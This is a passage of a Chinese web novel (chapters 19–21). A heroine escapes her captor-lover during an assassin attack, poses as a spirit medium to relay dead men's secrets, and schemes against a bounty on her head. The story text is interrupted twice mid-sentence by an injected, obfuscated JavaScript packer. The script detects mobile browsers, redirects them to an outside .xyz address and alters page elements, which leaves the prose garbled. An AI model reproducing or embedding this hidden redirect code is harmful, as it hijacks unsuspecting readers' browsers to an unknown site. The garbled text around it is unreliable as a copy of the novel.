“他试图策反我,条件倒是开得颇为诱人,想让我抛弃旧爱,去当他的嫔妃呢。你知不知道他定的国号有多难听?”谢晦已眉头微挑,语气中带着一丝戏谑。 李灵濯的脸色果真更阴沉几分:“他也敢?你是怎么拒绝的?” “这种问题李大人还需要问?真是狼心狗肺。” 谢晦已坐在他的身上,伸手挑起他的下巴,“是谁去山谷里解决了你的心腹大患?你脑袋难道被炸坏了?没良心的东西。” 闻言,李灵濯总算笑了一声:“谢小姐侠肝义胆,我是知道的。” “你既然知道,方才还那般疑神疑鬼的?”谢晦已凑近了他的脸,“你比王大人还像一个生性多疑的狗皇帝。” 李灵濯轻啄了一下她的脸颊,对她解释道:“方才想起了不好的事情。” “有多不好?”谢晦已追问着,却也是在默默等待着,看他会不会将那些陈年往事亲口说出。 “很不好,”李灵濯笑着敷衍过去,环手将她揽在怀中,“他还与你说什么了?” 不知是不是错觉,谢晦已感受到他的手在微微颤抖。于是她岔开了话题: “李大人怎么这么多问题,一个死人的事情也值得你挂念?有这功夫,倒不如带我出去转转。” “然后让你趁机逃掉?” 李灵濯的眼眸转也不转,像是一对嵌在羊脂玉中的墨绿琉璃珠子,阳光斜切而来,照得这对珠子分外清澈。 谢晦已抬手抚摸过他的眉骨,落在他的眼角上,“这么漂亮的一双眼睛,挖出来整日盯着我,你就放心了?” “放心不下,”李灵濯坦诚地说,“你总有摆脱我的理由。” 谢晦已不满地抿了抿唇,难得地恳求他道: “不是马上就要离开青州了?我还没有吃过青州城的茶糕,再晚些,城中的市集都要散了。李大人大发慈悲,带我出去转转好不好?我以我母亲的在天之灵向你起誓,我绝不会逃走的。” 19. 昙门初现 见谢晦已发誓发得情真意切,李灵濯被她说服,稍作乔装后,倒也带她出了门。 路过梨园时,一阵婉转唱腔透过雕花木窗悠悠飘来。 谢晦已脚步微顿,抬眸望去,只见台上青衣水袖翻飞,声若裂帛穿云。满堂喝彩此起彼伏,里三层外三层尽是踮脚张望的看客,就连梨园外面也围满了听戏的百姓。 谢晦已看了看,转头询问道:“《长命女》?好像是京城那边传过来的,李大人应当听过?” 李灵濯瞥了一眼,随后答道:“听过。京城有一位名伶,一阕既出,满城争传,京城权贵竞相下帖邀她唱堂会,想听她一曲极难。这首曲子是新作,在我离京时刚刚问世,你很想听?” “自然,想听听京城如今唱的是什么曲子。” 谢晦已与他坐在二楼的厢房中,倚着窗子听了一会儿,听出来了这个故事的梗概。 薄命女所遇非人,诞下仇人之子。仇人想带走儿子,薄命女护子心切,争执之下被一剑刺死。死后,她化作一只杜鹃,夜夜在仇人窗前啼哭。仇人经受不住,接连换了数处宅邸,但杜鹃总会找到他。 儿子长大后听懂了杜鹃的话,知道是生父杀害了母亲,所以提剑为母报仇。杜鹃大仇得报,最终消散为烟。儿子上香拜佛,替她求了一个长命百岁的来世。 谢晦已听罢说道:“薄命女大仇得报,儿子没有认贼作父,也算是个好结尾,可惜没能亲手杀死仇人。” “是吗?”李灵濯目光惘然,语气略带几分酸涩,“倘若她最终能死而复生,变成真正的长命女就更好了。” 谢晦已转头看他,笑着说道:“虽说是戏曲,但内容总要贴合现实吧?” “现实这样无趣,人们总要在故事中找到慰藉。编者既是能编织一场梦,何不彻彻底底大梦一场?” 李灵濯一边说着,一边剥下一颗橘子,放在谢晦已手中,“你就没想过让自己的母亲死而复生?” 谢晦已握住了橘子,缓缓开口道:“很小的时候会,但是那个时候还不懂什么是死亡。懂的时候我已经在青州了,也没时间去细想。李大人是畏惧死亡的人吗?” 李灵濯眸光安放在她身上,未移分毫,语气带着几分揶揄,“不算是,否则也不会让你留在我身边。” “你这就是冤枉好人了,”谢晦已把手里的橘子丟还给他,“怎么说你都还欠我人情。” “是,有劳谢小姐为我筹谋,让我家人团聚,还解决了边关的大麻烦。” 他伸手将谢晦已揽入怀中,剥开橘瓣,抬手喂她吃下,“我眼光一向独到,谢小姐也该对我这个伯乐心存感激。” 谢晦已微愣片刻,缓缓移动目光认真看他:“李兰畹真的是你妹妹吗?脸皮这么厚,可不像是一家人。” “谢小姐不愿意听闲话,那就说点正事,”李灵濯面不改色地切换了话题,“山谷里的事情你也立了功,这件事我会记在折子里,一同上报朝廷。这次我会写下你的名字。” 谢晦已思忖着他的话,轻轻摇头道:“这份功劳对我来说并无意义。” 在盛朝,女子不得为官,况且她此时占着一个不利的身份。待消息传到京城,再传到世人耳中,未亲眼目睹之人,只会认为这是指挥使大人在给他的相好铺路。 所以在谢晦已看来,此事不若顺水推舟,她只担个当地的好名声,将功绩全都让给李灵濯。 更何况,还有另一个原因。 谢晦已看着李灵濯的双眼,无奈一笑:“我父亲尚在京城做官,我不希望他知道我还活着。” “可我也不需要你让出这份功劳,”李灵濯断然拒绝,“无故占了你的东西,这算什么?” 谢晦已满不在乎地摇摇头:“你就当我这次大发善心,愿意替你的名声做打算吧。此刻你更需要的是民心,而非在圣上面前炫耀你身边的人如何英勇。” 毕竟王同知那一套“异族”的论调不容忽视,倘若娄厥人与盛朝人当真融洽,也不会滋生这样的祸端。 李灵濯深深地看了她一眼,郑重其事地告诉她:“你是我的人,你的功绩便是我的功绩,二者就算分开计较,也殊途同归。” “可我不觉得这样做有什么意义,”谢晦已眉头紧皱,“一来,百姓的视线会分散在两个靶子上。二来,你的名声也会被流言蜚语毁掉。别忘了,那位尊先生还藏在暗处,我不希望他奸计得逞。” “你的担忧未免太多了,再怎么说我也是锦衣卫,”李灵濯转动眼眸,匿去了眼底浓烈的猜疑,“你处处与我划清界限,有没有想过我根本不在乎那一点名声?” 谢晦已再次驳回:“你知不知道王同知如何说服我的?你被推到这个位置上,你的名声比你想象中还要重要。” 李灵濯疑惑不解地问:“他到底说什么了?” 谢晦已抿了抿嘴,最终没有将那些话说出口,“无聊的话。” 李灵濯隐约猜到了什么,忽然捏紧了她的手腕,“你告诉我,你是怎样想的?” 谢晦已直视着他那双深幽的眼睛,故意装傻,“什么我是怎样想的?” “你有没有厌弃过我的异族身份?”他眼中说不清是期待还是退缩,胆怯地垂下头,然而手上却暗暗发力,意图让她说出个好听的字眼。 谢晦已抬起头亲吻他的眼角,轻柔得宛如舔舐伤口,“我说过了,我喜欢你的眼睛。” 李灵濯闻言眉眼微舒,转而松开手,揉捏她泛红的腕间,“人言并不可畏。我行事再如何循规蹈矩,他们也不会对我抱有善意,你又何必在乎他们?” 谢晦已叹息一声,随后敲了一下他的额头:“李大人今年几岁,还能说出这样幼稚的话?是在自暴自弃,还是在跟我撒娇?” 望着他蹙紧的眉宇,她又轻笑出声:“若是前者,我没有什么好言好语送你。若是后者,我们可以接着谈谈。” 李灵濯坚持己见:“我很清楚我在做什么。” 谢晦已说道:“至少在我看来,这件事情你不应该感情用事。” “你父亲知晓你的存在,难道不是一件好事?”李灵濯颇感费解,“待他狗急跳墙时,必会让你捉住把柄,届时下大狱还是动私刑,不都是你动动手指的事情?” “如果我说,他有免死金牌在手呢?”谢晦已冷然说道,“你觉得法理在这件事情上,还有替我伸张正义的用处吗?” “免死金牌……”李灵濯微眯着双眼,竭力回忆朝中情形,却完全搜寻不到姓谢的功臣。 谢晦已看见他的表情就知道他在想什么,于是又自嘲一笑:“若你能猜出我父亲是谁,我岂会与你交代这么多实话?在这件事情上,你帮不了我。你令我过早暴露,只会让我腹背受敌。” 李灵濯疑神疑鬼地问:“你不喜这些虚名,是觉得无用,还是怕我插手此事,会毁了你原本的打算?” “我若说我没有打算,你会信吗?” 谢晦已抬手轻点他的喉结,眼角弯起,言语间不失蛊惑人心,“放我一个人出去转转吧李大人?算是我另一个请求。” 李灵濯哼了一声:“说得好听,你分明就是想逃。” “就知道你不会那么容易答应,”谢晦已的手指在他颈间缓缓打转,“你给我的那块令牌,附带着一封信,我托墨承交给了兰畹。再晚一刻,可就要下达处决批文了。” “什么处决批文?”李灵濯有种不祥的预感。 谢晦已侧首看他,笑着幽幽开口:“李大人身边有奸细,我自然要为李大人分忧。” “这样拙劣的命令,你觉得墨承不会拦截?”说着说着,李灵濯忽然收回了话语,“不对,你是怎么跟兰畹交代的?奸细是谁?” “送信者自投罗网,还能有谁?我相信李大人手底下的人都是忠义之士,自然不会偷看我的信件。” 谢晦已慢悠悠地缩回手指,随后抬腿走向木窗,“当然,我知道李大人很有本事,所以特意节外生枝,叫了些帮手助我一臂之力。” 她尾音带着微妙的上扬,藏着狡黠的轻笑。 话音未落,二楼厢房的雕花木门轰然炸裂,木屑纷飞中,三道黑影疾射而入。 为首刺客面上覆着银制面具,刚一打照面,就转动刀锋,直取谢晦已的咽喉。 李灵濯眉宇骤紧,未及思索,便抄起圆桌横扫而出。那桌子被刺客迎面劈开,四分五裂地撞上墙面,震得梁上积灰簌簌直落。 随即,李灵濯拔出腰间的绣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875696|176309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 春刀,旋身挡在谢晦已身前,刀光与起身再击的三道寒芒相争,撞得刺客险些握不住手中的长剑。 眼看刺客落于下风,谢晦已毫不犹豫地射出袖箭。那枚箭矢擦着李灵濯的发梢而过,引得他有一瞬的分神,下一刻,那刺客便调整好了气息,重整旗鼓提剑而来。 “谢晦已!你拿发誓当什么?” 李灵濯咬牙切齿,抬刀荡开刺向谢晦已后心的软剑。 “我母亲又不会怪我,发个誓玩玩怎么了?” 趁着李灵濯格挡的间隙,谢晦已莲步轻点跃上窗台,轻轻一蹬,整个人便从二楼轻盈而落。 人群中传来此起彼伏的惊呼,她疾驰而去,身影渐渐消失在梨园尽头。 外面的风波早就平息下来,青州城外的骚乱没有影响到城内,街上的人们依旧忙忙碌碌。 她转身闪进一个胡同里。 此时阳光正好,一位妇人在逗弄孩子。她手里拿着一个拨浪鼓,扎着两个小髻的孩子窝在摇篮里咯咯直笑。 瞧见这般景象,不属于她的记忆纷至沓来。在熟悉与陌生的街巷之间,她走上前去,对着那名妇人打了声招呼。 “秦夫人。” 秦氏转过头,面露疑惑,“这位小姐,你是在叫我吗?” 谢晦已眉目柔和,出言告知道:“是。我是昙门弟子,今日是受仙人所托,不便透露姓名。” “昙门?”秦氏有些疑惑,显然从来没有听说过这个名字,“你有何事?” 谢晦已又问道:“王同知从前是您夫君,对吗?” 秦氏眼中闪过复杂的情绪,随后愤然低下了头。 “他不过是我家的赘婿,知道他在外面偷养了人,我早就将他扫地出门。你若也是他的风流债,只管去他坟头上说道去吧,我这里可没有钱财赔给你了!” “夫人误会我了。” 谢晦已对她解释道:“我受山鬼娘娘嘱托,特意带一段往生人的话来到此地。您家中东面的墙中存有一笔银钱,那是王同知曾经攒下来的积蓄。” 秦氏诧异地抬起头,将信将疑地走回屋中查看,再出来时换上了一副惊愕的表情。 “果真有。小师父方才说什么?是他本人将这件事情告知于你?” “正是。我们昙门弟子能与亡魂对话,让缘主见到思念之人。”谢晦已点头道。 闻言,秦氏瞬间红了眼眶,随后却愤而开口道:“我知道他犯下了大罪,那些钱都是搜刮民脂民膏得来的,我才不会动。” “那一笔钱是干净的,”谢晦已笃定地说,“是他这些年的俸禄。他做了不少亏心事,祭拜神佛时不敢拿赃款当香火钱,这笔钱是他打算捐去修缮佛寺的。孩子开蒙很重要,为他延请名师指点要花不少钱,夫人不必纠结于此。” 秦氏看了谢晦已半晌,几度欲言又止,最终开口说道:“他做了那么多丧尽天良的事,我担心会报应在孩子身上。小师父既然说是山鬼娘娘显灵,不妨为我指一条明路,我该供奉哪位仙家?” “山鬼娘娘说,神本无相,夫人心存善念,心中便有神。他日你若是遇见同样境遇之人,替我们娘娘报上名讳,多行善事便好。”谢晦已淡然一笑,颇有仙风道骨。 “咿、咿呀!” 这时,摇篮里的孩子伸出两只胖短小手,拽住了谢晦已的裙角。 秦氏尴尬一笑,哄着女儿松手,“让小师父见笑了,我这孩子还没会说话,正是看什么都新奇的年岁。” “孩子可曾见过她父亲?”谢晦已伸出一根手指,一边逗弄她,一边出声询问道。 秦氏神情黯淡,缓缓低下了头,“他不配。如今这孩子随了我的姓氏,日后也不必知晓这段往事。” 谢晦已直言不讳,戳破了秦氏隐藏于心底的念头,“夫人心中放不下王同知,自然饱受良心煎熬。你我有缘,我便让他今夜入了你的梦,你们好生告别。” 说着,她双指点向秦氏的眉心,将王同知的那一抹心念注入秦氏的脑海中。 秦氏感受到了脑海里的暖流,恍若故人重逢,不觉间早已泪流满面。 可当她拭去眼角残泪,意欲向谢晦已道谢时,方才惊觉,谢晦已早已消失在弄巷尽头。 20. 仙人抚顶 忽略那些工蚁的怨念,她这些时日吸食了五人的完整心念,其中三个是没有亲人的死士,能在青州城找到家人的唯有王同知与纪茶商。 谢晦已刚要登门拜访,就被门外的官兵拦了下来。 “这里被查封了,赶紧走。” 谢晦已盘算着从山谷回来的时间,不禁有些疑惑:“什么时候查封的?” “连夜查封的,”似是尚有怨气,官兵的态度极为恶劣,“别碍事,赶紧走!” 听见这个答复,谢晦已从袖中掏出了几枚碎银,左右扫视一圈,悄然塞给领头那人:“天气寒冷,诸位起早辛苦了,权当买壶酒解乏。” 待官兵面色稍缓,她又低声道:“此事催得紧,指挥使大人也是事出有因,往后若得闲,也让诸位能轮休几日,好好歇一歇。” 谢晦已猜得到这事是李灵濯干出来的,不管是不是为了自己,他们两个的名声也是绑在一块的,她可不想被当作是压榨下属的狗官。 官兵接了碎银,上下打量她后面露惊恐:“莫非您、您是谢小姐?” 谢晦已微微颔首:“我理解你们的难处,客套话便免了。当值时间以外的公务,回头我叫他们折算成赏银补发给你们,我说到做到。” 那官兵没想到自己居然能摊上这样的好事,一时间连谢恩都忘了怎么谢,还是身边的人使劲儿提醒,才反应过来,“在下有眼不识泰山,还望谢小姐恕罪。” “一码归一码,”谢晦已语气肃然,“你不分青红皂白,见人便恶语相向,我这里有一件差事,由你去做吧。” 那人心里“咯噔”一声,连忙问道:“谢小姐但说无妨。” “会不会说我的好话?”谢晦已瞳底浮现一丝跃动的幽光,“将今日之事原原本本描述给旁人听,能做得到吧?” *** 青州府牢狱。 谢晦已是从大牢里走出去的,故而那几名狱卒对她相当熟悉。 故地重游,在他们毕恭毕敬的引领下,谢晦已迈进潮湿的地牢,走到垂头丧气、不停擦拭眼泪的囚犯面前。 “你就是纪云?”她敲了敲栏杆,以防万一,袖中的另一只手始终搭在袖箭上。 靠在栏杆上的年轻男子抬头便瞧见了她,语气并不友善:“你是什么人?难不成是看我们家笑话的?” 谢晦已唇角微翘,语调带着些许超然:“我受山鬼娘娘嘱托,特意带一段往生人的话来到此地。” 年轻人瞬间牵动怒火,对她破口大骂道:“哪里来的神棍,还不快滚!” 谢晦已充耳不闻,直视着他的眼睛缓声说道: “纪云,你母亲并非单纯病故,而是惨遭枕边人与外室联手陷害。你外祖家的产业成为了他发家的资本,而你却对此一无所知,甚至不知你那弟弟只比你小了三月。 “钟月酒楼三楼最里间,有你母亲留下的血书。她自知时日无多,而你又太过年幼,所以她把证据放在那里,并嘱托自己的贴身侍女,若是你有心复仇再告知于你。 “在她身故后,你父亲将宋氏扶正,纪家上上下下都换了人手,唯一一个见证者,便是你身边之人。倘若你不信,大可向她求证。” 纪云呆愣当场,久久不能缓过神。 而后,他转头看向一旁坐在稻草上的中年女子:“刘妈妈,你与我母亲一同长大。你告诉我,这是真的吗?” “是真的少爷,这位仙人说的都是真的,”刘妈妈擦了擦眼角的泪水,“这些年眼睁睁看着少爷认贼作父、认贼作母,老奴的心也在滴血啊!” 一旁的宋夫人当即起身驳斥:“胡说八道!纪云,你莫要听信她们的话!我是你父亲明媒正娶的夫人,哪里是什么外室?” 隔壁牢房的男子也握紧了栏杆,急切大喊道:“大哥,我母亲怎么可能做下那种事!倘若这神棍所言为真,父亲为什么不将刘妈妈杀了灭口?” 刘妈妈“扑通”一声跪倒在地。 “少爷!真的是他们联手害死了夫人!只是夫人发现的时候已经太晚,唯有以家产为诱,求他们留你一命。少爷莫要再被他们蒙蔽了!” 她死死拉住了纪云的手,颤颤巍巍地说: “他们不是不想灭口,而是不能,因为老奴手里还握着他们找不到的山庄,地下藏着夫人娘家留给她的玉脉。这都是证据确凿的事,老奴愿意与你去公堂上走一遭,交由青天大老爷来裁断!” 闻言,宋夫人立刻冲上来扯开刘妈妈,对她破口大骂:“贱婆子!还敢上公堂?纪家刚被抄家,你是嫌我们家闹的笑话还不够大吗!” 纪云将刘妈妈护在身后,“够了!少拿颜面说事,我们一家都到这般地步了,还怕再多一条罪责吗?刘妈妈不可能对我撒谎,更不可能害我!” 宋夫人尖叫一声,开始抓挠纪云的脸,“你这个不孝子,你父亲尸骨未寒!” 纪云躲了过去,又指着谢晦已说道:“我不管父亲的在天之灵如何了,反正他也不是什么好东西。更何况仙人显灵就是天意,如今天意站在我这边,我定要为母亲讨回公道!” “你罔顾人伦!”宋夫人掩面大哭起来,“刘妈妈再如何也不姓纪,你可是纪家人啊!” “纪家人又如何,不还是被父亲牵连下了大牢?就算刑满释放,也只能继承被抄家后的空壳子。更何况,就连这个空壳子,也是我母亲被你们敲骨吸髓残余下来的皮。” 纪云冷笑不止,最终深吸一口气,转身对谢晦已行了叩拜大礼。 “多谢仙人告知,倘若此生有机会东山再起,我必为仙人修建庙宇,以示纪某感激之心。敢问仙人名讳,回头也好叫人刻在灵牌之上。” 谢晦已知道,由于宋夫人的算计,纪云始终游离在自家产业之外,成年后更是分府独居,所以被牵连的罪责并不是很重,他这句承诺还是有实现的可能。 “吾乃昙门无极无相仙人,此次只是托付于弟子之身,你们唤吾为‘山鬼娘娘’便好,他日你若有心塑像,以吾这位女弟子的模样刻画便是。” 说罢,谢晦已离开了此地。 那几名狱卒始终候在门外,此刻见谢晦已走出牢房,皆毕恭毕敬地跟了上来。 谢晦已见到他们便叹息一声: “里面有人要报官,牵扯到一桩陈年旧案。也是你们疏忽,他们家里斗得厉害,又是重罪犯,你们将人关押在同一牢房,到时候闹出人命传到李大人那里去,你们也落不得好,是不是?” “这、这,”那几人被她这样一说瞬间慌了神,“还望谢小姐指点。” 谢晦已颇感为难地摇了摇头,“我一介女流不好抛头露面,原本我也想藏匿行踪,没想到凑巧碰到你们这件事。为了彼此都好,我们就当互相没见过吧。” 那几人连忙点头,“是,就按谢小姐的意思办,有劳谢小姐替我们遮掩。” 谢晦已走出大牢,又租了一辆马车前去城外。 地宫里被“养蛊”的那几个病人被她安置在郊外的院子里,如今装成一家人在一块生活。 谢晦已雇来的郎中见她到来,急忙上前迎接,“谢小姐,您怎么亲自来了?” “我明日要离开青州,今日过来看看。他们病情如何?” “小姐,他们的病不算难治,只是虫疾之症,外加头脑受创,日后怕是会有丢魂的症状。那个小女孩症状最轻,据她所说,她还没来得及咽下,就因为肚子太撑,把东西吐了出去。” “这些药丸拿去分给他们吃,”谢晦已将李灵濯给自己的药悉数交到郎中手里,“药性不会冲突吧?” 郎中打开盖子,放在鼻尖轻轻嗅了嗅,随后露出了欣喜的笑容:“谢小姐请放心,这里面的药材比我方子上的珍贵。配合我的药方,不出一个月他们便能痊愈。” “那便好。你先下去吧,我见见他们。” 说着,谢晦已抬腿走向宅院,甫一推开院门,就听见里面传来整齐的问候声。 “见过山鬼娘娘。” “不必多礼,今日吾来是想询问一件事情。你们查看一下此物。” 说着,谢晦已将手中的小布包拆开,里面装着她在院子里抓来的蚂蚁,“你们尝试一下,能不能与它们交流?” 所有人听令依次尝试,均露出不可置信的神情,而病症较轻者能力较弱,只看得懂简单的食物、水源指令。 果然如此。她在审问王同知时便有了如此猜想,只要蚁虫还在她体内 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875697|176309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她便能一直拥有蚂蚁本领。 再配上她的昙门心法,她完全可以建立一支属于自己的势力,一张保密性极强的情报网。 但是,她留下这群村民绝非只是用来试验。 “待虫疾痊愈,你们便在城中宣扬,是山鬼娘娘救出了你们,谢姓弟子是山鬼在人间的化身。地宫里面的事情,你们再清楚不过了,那些守卫是什么下场,你们又是什么境遇,我想你们心中都有数。” 谢晦已的视线缓缓扫向众人,与他们沉声说道: “吾会在人间继续游历,未必会再回到青城。诸位体内余虫清除后,定要对吞食蚁卵一事守口如瓶。毕竟那幕后之人也在搜寻你们的下落,一旦身份败露,你们必将性命难保。当然,我也不希望你们之中会有人出卖我。” 说着,她掏出了一个木匣,在众人面前缓缓打开,露出了一羽的一对眼珠:“这便是上一个叛徒的下场。” 木盒再次重重合上,高置于堂中,惊得众人纷纷跪倒在地,“不敢,山鬼娘娘是我们的救命恩人,我们绝不会出卖您!” 谢晦已仍不能放心,将包袱里的蚂蚁悉数抖落在地,待它们爬到不见天日的缝隙中,她才开口恐吓道: “这些蚂蚁会成为我的眼睛,无论天涯海角,我都会看着你们。“ “是,请娘娘放心!” 吩咐完这些话,谢晦已才放心地推门离去。 可就在她登上马车的那一刻,屋子里的妇人忽然扯住了她的裙角。 “山鬼娘娘,”妇人将自己的女儿推到身前,“您四方游历,可否带着我这孩子一同历练?就当是给您做座下童女了。” 谢晦已转头看向妇人,捕捉到了她眼底浓烈的希冀,“她还这么小,你也舍得?” “她今年五岁了,一向聪慧懂事,一定不会给娘娘添乱的,哪怕做您身边的婢女也是好的。” 妇人紧抓着谢晦已不放,竭力为女儿谋一条最好的路,“我就算是为了女儿,也绝不会泄露秘密。” 谢晦已叹息一声,坦诚相告: “我独来独往惯了,未来不知要游历多少城池,稍有不慎便会招来杀身之祸,与其跟着我受罪,不若改日我让夫子登府教导,为你女儿开蒙。” 妇人眼中纠结更甚,而那小女孩这时主动抱住了母亲的腰肢,抬起头对谢晦已乖巧一笑,“娘娘,有夫子教我读书习字就好了。” 妇人猛地拍了一下女儿的胳膊,似是怒她不争气,不过又心疼地搂住了孩子的脑袋,一时竟红了眼眶。 谢晦已走下马车,蹲在小女孩面前,打量她圆润的脸颊,俯身问道:“我叫谢晦已,你叫什么名字?” 小女孩羞涩摇头:“我没有名字,母亲总叫我囡囡。” 妇人几度欲言又止,最终嗫嚅着请求道:“请娘娘为这个孩子赐个名吧,我没读过什么书,想到的无非是几个贱名,说出来怕是要惹人笑话。” 谢晦已抬起头问她:“你姓什么?你对你女儿有什么期盼吗?” “我姓卫,”妇人擦拭掉脸上的泪水,“我当初与人私奔,却没想到落得如此下场。如今囡囡就是我的全部希望,我怕那些期盼会像担子一样压垮了她,可我又怕她会像我一样没出息……” 彼时暖风又起,多日的积雪终是开始消融。冰晶融化成一滩滩雪水,迎着夕阳残照,染得大地一片斑驳,如落英缤纷,似有花馥芬芳扑鼻而来。 “卫卓歆。” 谢晦已用手指在地上的沙土间写下了姓名,随后从袖中掏出帕子,塞进小女孩的手掌。 “你好好读书,待你长大些再来寻我,以此物为证。不出意外的话,我会在京城。” 卫氏喜极而泣,拉着孩子跪倒在地,“多谢!多谢娘娘!” “不必谢我,你是一位好母亲。” 谢晦已拉起了地上的二人。 “进地宫时,这孩子应当是懵懂不好管教的年纪,然而她没有畏惧过往,待人接物也落落大方,想来都是你悉心教导的缘故。她随了你的姓氏,成为你这样的人没什么不好,不要妄自菲薄。” 末了,她又笑着说道:“我也随了我母亲的姓氏,比我那个不争气的爹强多了。” 21. 梅香浮金 谢晦已自青州城郊返程之际,一名蒙面杀手自半路杀出,拦住了她的去路。 见对方孤身一人,谢晦已指尖轻动,念力如丝缕般倾泻而出,钻入对方双目。 此时,她瞳底亦是隐隐泛起暗红,冷声向杀手问道:“告诉我,你如何知晓我的行踪?” 那名杀手仿若被操控的傀儡,毕恭毕敬地答道:“谢小姐,在下于黑市接了悬赏,特来行刺。您招惹了不该惹之人,他声称你已逃往城西方向,我便来此地碰碰运气。” 谢晦已皱眉又问:“既是添了新线索,价格有没有变动?” 杀手傀儡回应道:“涨价了,你的人头如今值五万两黄金。” 谢晦已再问:“仅一颗人头便值这么多钱?” 杀手傀儡答:“正是。” 谢晦已忽然心生一计,唇角微微勾起一抹笑意,“拿着你的刀跟我走,我们去做笔生意。” “什么生意我也不会答应,你莫要痴心妄想了!” 青州城中,画师拉开门扉,瞧清登门拜访的人是谢晦已后,犹如看见了来索命的恶鬼一般,瑟瑟发抖地回绝了她。 谢晦已将黑市中的悬赏画像递给画师,缓缓说道:“上次你刻的那条龙栩栩如生,可见你手艺精湛。这次我要你用木头刻出来一颗脑袋,这对你来说应该不难。” 画师憋屈得很,却又不敢当面发作,只得恳求道:“这位小姐,上次我替你做事已经犯了死罪,幸好官府不追责我才得以苟活。您何必揪着我一家老小不放?” “已经是死罪了你还怕什么?一回生,二回熟,用别人家我还要重新熟悉他的手艺。况且这是条发财的路子,就当是替你压惊了。” 谢晦已淡声道:“随你雇人也好,亲力亲为也罢,我需要一批木雕模子,依我的模样来刻,往后售出所得银钱我们三七分账,我七你三。” 画师紧紧抓着那张通缉令,满脸狐疑:“只、只是这样?青州城中怎会有人买你的木雕?” 谢晦已故作高深道:“此事你无需多问。我来寻你只是因为你见过我,不会有人比你更懂怎么雕刻。怎么样,你能不能做到?” “上次那事……”画师明显有些动摇,但仍对画龙一事心存恐慌。 “出了事我下狱,你只是受人胁迫,何罪之有啊?”谢晦已颇为义气地笑了一声,端起了纨绔子弟的架子,“再者说,我能好端端地站在这,其中关窍还需要我点明吗?” 画师眼中闪过一丝犹豫,权衡利弊后,他最终咬了咬牙,“我明白了,我能做到。” 谢晦已这才放心地迈过门槛,转头看向那名候在门外的杀手。 “替我做两件事情。其一,你现在回黑市,开价五千两白银,收我的人皮面具,并放出消息,有人打算将面具贴合在死人脸上,意欲冒领赏金。 “其二,另发一道悬赏,还是收我的项上人头,开价一万两白银。过几日你便接了这第二道悬赏,以第一种法子办妥此事,并放出传言,雇主分辨不清真伪,真给了你一万两白银。” 言毕,谢晦已从袖中掏出了一张银票,塞进杀手的袖口中,又不忘叮嘱道:“记住,不要露财在外,等人半路劫杀,从你的尸首上发现这张银票,我的投入才有效果。” 杀手恍惚点头道:“是。” 谢晦已目送着杀手渐行渐远,旋即转身回了李府的那条巷子。 昏黄灯光下,街上行人匆匆,李灵濯那等候多时的身影显得格外突兀。 谢晦已脚步一顿,随即挂着一抹若无其事的笑,款步朝他走去。 她微微歪头,眼中满是戏谑,“许久未见,李大人在这里等我呢?” 李灵濯面色阴沉,垂在身侧的双手微微颤抖,不自觉握成了拳。 他似是想说些什么,却又强行忍住,只静静地站着。本是一副风平浪静的姿态,可他微微起伏的胸膛却暴露了他内心的挣扎,像是活吞了一只刺猬,那股火气分明咽不下去,却不知在顾忌什么,迟迟不肯开口。 “有话说话,没话我要回去歇着了。”谢晦已又凑近了一步,仔细打量他的神色。 李灵濯冷声询问:“你没什么想说的?” 谢晦已收起笑容,瞬间换上无辜的表情,“哎呀,当时我也是没办法呀,谁让那些杀手追得紧?不过,我也是相信李大人的能力,才做出这样的抉择。你看,你这不也好好站在这儿了吗?” 她一边说着,一边伸手想勾住李灵濯的手指,可后者却猛地甩开她的手。 随后,又是缄默不语。 谢晦已倒也不恼,语气照旧带着调侃,“黑市那边你又不是全然无辜,礼尚往来罢了,李大人怎么还生气了?” 李灵濯垂下的目光中,有她读不懂的暗波汹涌,“只要你留在府中,杀手是找不到你的。” 谢晦已正了正神色,敛住了玩世不恭的态度,“怎么,李大人是想让我一辈子留在青州?还是说,接了悬赏的那些杀手都是青州人,跟城门犯冲,永远离不开青州城?此事已经扯平了,我并不想再计较什么。” 李灵濯一言不发,继而扯住她的手腕,将她一路拉回府中。 到了门内,他才开口:“扯不平。我以为你去了永州,让人在永州城里发布了通缉令。” “是吗?李大人真是手段了得。” 李灵濯转过头,刚好对上谢晦已幽深的双眼。 “你把通缉令贴满永州的时候,有没有想过,若我真被乱箭射死在城门口,你打算怎么赔?你究竟是在意我,还是在意一个物件的离开?” 说着说着,她忽然冷笑一声,“既给我添麻烦,又给你自己添堵,简直是世间绝无仅有的蠢货,你是不是靠买官鬻爵当上的指挥使?我就该敲登闻鼓,让刘知府也上一道弹劾你的折子去御史台,怎么也能成就他的一番事业。 “梨园里那一出戏也该你去唱,她方唱罢你登场,祸害遗千年,倒也能做一个脍炙人口的《长命男》,何必在这与我浪费时间?” 李灵濯睫毛轻颤,敛住了眸子,再也没有吭声。不知到底是恼了,还是真把谢晦已的话听了进去。 谢晦已从没觉得自己这样烦躁过,可见他骨节攥得发白,她还是深吸一口气,将头扭转过去不再瞧他。 随即,她的余光瞧见李灵濯动了动,指尖触碰的那一刹,他的歉意也跟着糅合进来。 “是我思虑不周,我会去将那些东西撤掉。临行在即,青州城诸事我不会过问,但……你也不要再对我隐瞒你身上的伤病。你是惜命之人,能让你不顾自身安危去做,却又对我闭口不谈的事情,于我而言只有隐患。” 谢晦已声如银针,刺破了他故作镇定的皮囊,“下不为例。” 